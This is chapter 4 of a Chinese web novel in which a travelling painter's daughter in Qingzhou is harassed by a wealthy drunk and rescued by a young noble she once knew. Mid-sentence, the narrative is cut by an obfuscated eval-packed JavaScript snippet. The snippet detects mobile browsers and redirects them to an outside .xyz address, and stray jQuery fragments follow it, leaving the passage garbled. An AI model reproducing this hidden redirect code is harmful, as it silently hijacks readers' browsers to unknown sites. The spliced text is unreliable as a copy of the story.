4. 故人

作品:《荷花误

    八载春秋过。


    春水溶溶,一弯垂柳拂波。


    青州碧水江边静静泊着一艘画舫,题名“唤莲”。


    帘幔低垂,舫间站着一位姑娘,她生得瘦弱,单着一件青色素衣,春风一晃便怕催折,半张淡白娟纱掩着面,似一泓白雾,唇撷粉黛堪堪被遮去,只见得眉下那双盈盈亮的眼眸。


    司衣荷挽起袖口,乌发松松编就长辫,零星缀着几朵小花。


    “姑娘,我们这就到青州啦!”映香手里拾掇着画卷,将一些需摆放出来的搁在身侧。


    司衣荷摘下娟纱,微微颔首道:“嗯,让照野师兄把我爹爹推出来。”


    当年远逃京城,司柏书的左腿便落下了病根,尽管氾头帮好心收留并找来大夫医治,也终归无甚作用。


    映香和照野便是那时他们拾来的伶仃稚子,司柏书心忧追杀不断,恐连累氾头帮,小住几日便带着司衣荷离开了。


    父女二人将老屋草草变卖,自此便靠着贩卖字画,流徙四方。恰逢无家可归的映香、照野兄妹二人,便将二人带在身侧,传以谋生之技,也能帮着司衣荷照看父亲一二。


    这艘画舫,是他们数年积蓄累累造就,画舫不大,倒也能容得下他们四个。这些年他们靠此漂泊,辗转南北,每到一处地方便停泊一段时日,临靠着岸边支起书案,将字画一一铺陈开来。


    照野推着司柏书自内室而出,司衣荷瞧见便上前接过轮椅:“爹爹我们到青州了。”


    “荷儿不必忧心爹爹,我喝了汤药,现下困倦得很,你同映香且先去岸边,明日便由爹爹来。”司柏书微凉的指尖轻拍她扶在轮椅上的手,温声道:“到了青州,往后便往回走罢。”


    司衣荷心中明白,青州离那京畿之地,快马疾驰路程不过三日有余,只隔着一座小城。


    她没回话,只叮嘱照野好生照顾父亲,旋即捧着书画对映香道:“今日把途中我画的那几幅摆放出来,这青州近着京城,眼光便也不会太低。”


    “明白。”映香拿着画卷贴近司衣荷,担忧道,“姑娘,你心里是不是有事呀?自出发来青州,我便总觉姑娘心事重重的。”


    司衣荷捏着画卷的手微微缩紧,很快便收起思绪,佯装嗔怪道:“胡扯,我心中哪有什么事情呀。”


    她不想说,映香也没再多问。


    此处岸边连着青州最繁荣的街道,司衣荷手脚麻利,不多时便把书案支起来了,彼时虽天色已渐晚,但那往来行人却只多不减。


    司衣荷她们也售出了几副字画,映香连连称赞:“姑娘的手笔饶是贵人来了,便也要被迷得走不动的。”


    两人嬉闹着,恍然未觉案前站了一人。


    来人约莫四十岁左右,脸色潮红,一只手拎着酒壶,另外一只手竟是直直地落在映香脸上,映香惊得大叫,司衣荷发觉便立马把她护在身后呵道:“滚开。”


    闻及此,来人却更兴奋,伸手便要来抓她们二人,司衣荷偏过头道:“你先去舫中,莫让我爹爹知晓,让师兄出来便好。”


    “可是,”映香瑟瑟发抖,却也知道自己帮不上什么忙,“姑娘你小心,我去把哥哥喊来。”


    司衣荷护着映香上了画舫,这厮竟抬手就要扑来,她侧过身,来人重心不稳,便摔在一边,疼地直喊:“哎呦。”


    “大人您没事吧。”司衣荷握着簪子的手藏在衣袖里。


    照野将才下来,那人身边便来了几个拿着棍子的家侍,几余人小心地扶起他,其中一个走上前来怒骂:“你们两个腌臜玩意儿,我们大人是你们能动的?知道他是谁吗?青州首富王昌荣!睁开你们的狗眼好好看看!”


    照野冷哼一声:“首富又如何,首富便就能在这光天化日之下欺负人吗?”


    那家侍气急败坏,似要跳脚:“你!你!”


    照野上前一步挡住司衣荷:“我又如何。”


    路上来往行人见此番情形,皆绕道而行。


    司衣荷心觉不妙,示意照野不要再说。


    他们人数众多,如若打起来吃力不讨好的便是他们,且这王昌荣的家侍白日里能如此行事,又是青州首富,想来这里的知州定然是收了他不少好处,倒时只能是他们平添牢狱之灾。


    但若他们实在欺人太甚,司衣荷便也不会坐以待毙。


    家侍骂骂咧咧就要招呼弟兄们上前,他们掀了桌案,书卷稀稀落落地掉在江中,照野护着司衣荷捏紧拳头道:“师妹往后靠,莫伤着你。”


    话音未落,有马蹄声疾驰而来,前头马上端坐着位红衣少年郎,腰间别着根鞭子,乌发以玉冠高高束起,额间一抹墨色束带,更称眉目如画,纵使带着几分未褪的少年意气,便也难掩风华。


    只见他猛地收紧疆绳,马匹前蹄腾空,堪堪止步于司衣荷桌案之前,马蹄掀起一阵雾尘,惊得她抬头,却直直撞入一双灼灼眼眸之中。


    他戏谑的声音落入司衣荷耳中:“王首富叫我好找,可是忘了你我昨日的约定?”


    王昌荣一听这声音人倒就不醉了,赶忙解释着:“哪里的话,世子说笑了,是这女子莫名冲撞了在下,我只是小小惩戒一番,哪日若冲撞了世子殿下便是在下的罪过了。”


    他利落地翻身下马,司衣荷却怔住了,只因他的身影与那年冬日,梅花枝下轻巧翻越案几、迎来一阵凌冽梅花香的少年重叠在一起。


    司衣荷一时恍惚,直至燕扶青的食指叩动着书案,她才回过神来。


    她后退了一步,隔出一段距离。


    燕扶青却望向她道:“你来说,是他说的这样吗?”


    司衣荷几乎是毫不犹豫地开口:“是。”


    听到这话的王昌荣直起腰,脸上堆起谄媚的笑容,手指却朝着司衣荷的方向连连戳点,一副小人作态:“您看世子殿下,她都承认了,这事便也过去吧,在下宽宏大量也不追究她了。”


    “拿开。”


    燕扶青解下腰间鞭子,不轻不重地抵开了王昌荣胡乱指点的手,他看也未看王昌荣那缩头乌龟的模样,皱着眉头吩咐家侍把他带回府中去。


    待王昌荣和家侍走后,照野双手握拳道:“多谢世子殿下解围。”


    燕扶青嘴上应着,目光却是落在拿着木棍在江中捞画的司衣荷身上。


    司衣荷卷起裙边,一点一点把画卷往回捞。不知什么时


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16212588|181348||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    候燕扶青走到她身侧。


    他默了半晌,开口道:“为何顺着他的话承认。”


    司衣荷手上动作不停,敛起的袖口早已浸染水痕,她垂着眼,淡然道:“若民女方才逞一时之快攀咬王大人,世子殿下可想过,我们往后在青州城可还有立足之地吗?还会有安生日子吗?我们只是寻常百姓,与权贵想比不过蜉蝣草芥,又怎能去与权贵作对?”


    几卷画作早已随波逐流,司衣荷酿跄起身,将手中勉强捞起湿答答的画卷交给照野,温声道:“师兄你先去安抚一下映香,她受了惊吓,我随后便到,这些画卷晒在舫板上,莫扰了爹爹。”


    照野默默接过还滴着水画卷,颔首应下:“师妹放心,师父他睡得沉着。”


    司衣荷这才转身对着燕扶青行礼:“方才多谢世子殿下解围,若非世子殿下,我们恐难脱身。但画卷事急,便误了给世子道谢,望世子殿下莫往心里去。”


    燕扶青眸光微动,落在她浸湿的袖口上:“抱歉,是我未曾想到这一点。”


    司衣荷没成想燕扶青会给她道歉,有些哑然。


    她对这位世子的了解仅囿于昔年宫宴匆匆一面,其身份如何,地位如何。司衣荷好似隔雾看花,一概不知,只能哪日留意打探一下。


    分明是天潢贵胄,竟如此善解人意。


    许是察觉气氛有些尴尬,燕扶青寻了个由头道:“你唤什么?”


    司衣荷冷静道:“乡野微名,不足挂齿。”


    燕扶青被这话呛着,也不再多问,司衣荷有些疑虑,继续道:“世子殿下何故对我此般谅解?”


    “我瞧着姑娘像我儿时的一位故人,”他唇角微弯,忽地低声一笑,带着几分难以捉摸的意味,“名字姑娘不肯告知于我,但我救了姑娘,姑娘不给我些许好处吗?”


    竟打着这算盘,司衣荷忽然觉着他好像也不是很善解人意。


    “我与世子不过今日一面之缘,何谈故人,”司衣荷有意避着,不过燕扶青帮她在先,理应给些好处,司衣荷拿出一袋碎银:“这个成吗?”


    燕扶青笑了声,他故意拖长了调子:“成。”


    见他答应,司衣荷便把碎银袋子扔到他手里:“我与殿下两清。”


    “我并非贪图你的钱财,也并非挟恩求报。”燕扶青交叠的手松垮下来,他轻叹了声,把碎银还给她,好笑道:“这样罢,我见你丹青极佳,为我画一幅可好?”


    不等司衣荷答应,燕扶青便翻身上马,眉眼间神采飞扬,枝柳轻轻抚动夜色,他将鞭子在手中随意地挽了个花儿:“明日还在这,我来取。”


    说罢,燕扶青勒转马头,朝着长街扬长而去。


    恰在此时,他的声音却乘风而来,送至司衣荷耳畔:“对了,我唤燕扶青。”


    待他走后,司衣荷盯着他离开的方向暗暗思忖着。


    青州之地是非多,不可久呆,但她蛰伏多年不可前功尽弃,需得早日寻个机会入京,把父亲他们送出青州。


    燕扶青,或可借他之力。


    司衣荷晃晃脑袋抛开这个想法,燕扶青的出现便牵扯旧痛,若非万不得已,她还是避开些为好。